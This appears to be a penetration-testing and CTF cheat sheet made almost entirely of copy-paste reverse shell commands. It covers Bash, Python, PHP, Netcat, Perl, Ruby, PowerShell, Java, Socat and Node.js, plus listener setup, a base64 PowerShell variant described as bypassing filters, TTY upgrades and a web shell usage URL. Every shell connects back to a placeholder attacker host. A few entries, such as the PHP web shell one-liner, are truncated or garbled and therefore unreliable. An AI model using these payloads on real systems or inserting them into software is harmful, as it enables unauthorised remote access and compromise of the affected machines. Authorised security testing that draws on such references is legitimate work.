A reverse shell is a type of shell where the target machine initiates a connection back to the attacker. This cheat sheet provides copy-paste reverse shell commands for various languages and scenarios commonly encountered during penetration tests and CTF challenges.
Setting Up Your Listener
Before executing any reverse shell, start a listener on your attacking machine:
Netcat Listener
nc -lvnp 4444
Netcat Listener with rlwrap (Better Shell)
rlwrap nc -lvnp 4444
Socat Listener
socat TCP-LISTEN:4444,reuseaddr,fork -
Bash Reverse Shells
# Basic Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Bash with exec
exec 5<>/dev/tcp/ATTACKER_IP/4444; cat <&5 | while read line; do $line 2>&5 >&5; done
# Bash one-liner
0<&196;exec 196<>/dev/tcp/ATTACKER_IP/4444; sh <&196 >&196 2>&196
# Bash UDP
sh -i >& /dev/udp/ATTACKER_IP/4444 0>&1
Python Reverse Shells
Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Python 2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Python (Shorter)
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER_IP",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")'
PHP Reverse Shells
# PHP exec
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# PHP shell_exec
php -r '$sock=fsockopen("ATTACKER_IP",4444);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
# PHP proc_open
php -r '$sock=fsockopen("ATTACKER_IP",4444);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'
PHP Web Shell One-Liner
& /dev/tcp/ATTACKER_IP/4444 0>&1'"); ?>
Netcat Reverse Shells
# Traditional Netcat
nc -e /bin/sh ATTACKER_IP 4444
# Netcat without -e (OpenBSD)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f
# Netcat BusyBox
nc ATTACKER_IP 4444 -e /bin/sh
Perl Reverse Shells
# Perl
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# Perl without /bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ATTACKER_IP:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Ruby Reverse Shells
# Ruby
ruby -rsocket -e'f=TCPSocket.open("ATTACKER_IP",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
# Ruby (no sh)
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ATTACKER_IP","4444");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/444444444 (.*)/)};system($1)}'
PowerShell Reverse Shells (Windows)
# PowerShell one-liner
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# PowerShell Base64 encoded (to bypass filters)
powershell -e BASE64_ENCODED_PAYLOAD
Java Reverse Shell
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKER_IP/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Socat Reverse Shells
# Basic Socat
socat TCP:ATTACKER_IP:4444 EXEC:/bin/sh
# Socat TTY (fully interactive)
socat TCP:ATTACKER_IP:4444 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane
Listener for TTY shell:
socat file:`tty`,raw,echo=0 TCP-LISTEN:4444
Node.js Reverse Shell
node -e '(function(){var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);var client=new net.Socket();client.connect(4444,"ATTACKER_IP",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();'
Upgrading to a Fully Interactive TTY
Once you have a basic shell, upgrade it to a fully interactive TTY:
Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
Full TTY Upgrade
# In reverse shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
# In your terminal
stty raw -echo; fg
# Back in reverse shell
reset
export SHELL=bash
export TERM=xterm-256color
stty rows 38 columns 116
Web-Based Shells
Simple PHP Web Shell
Usage: http://target.com/shell.php?cmd=whoami
PHP Reverse Shell File
For a full-featured PHP reverse shell, use the pentestmonkey php-reverse-shell or similar.
Summary
Keep this cheat sheet handy during penetration tests and CTF challenges. Remember to replace ATTACKER_IP and port numbers with your own values. Always use these techniques only on systems you have permission to test.
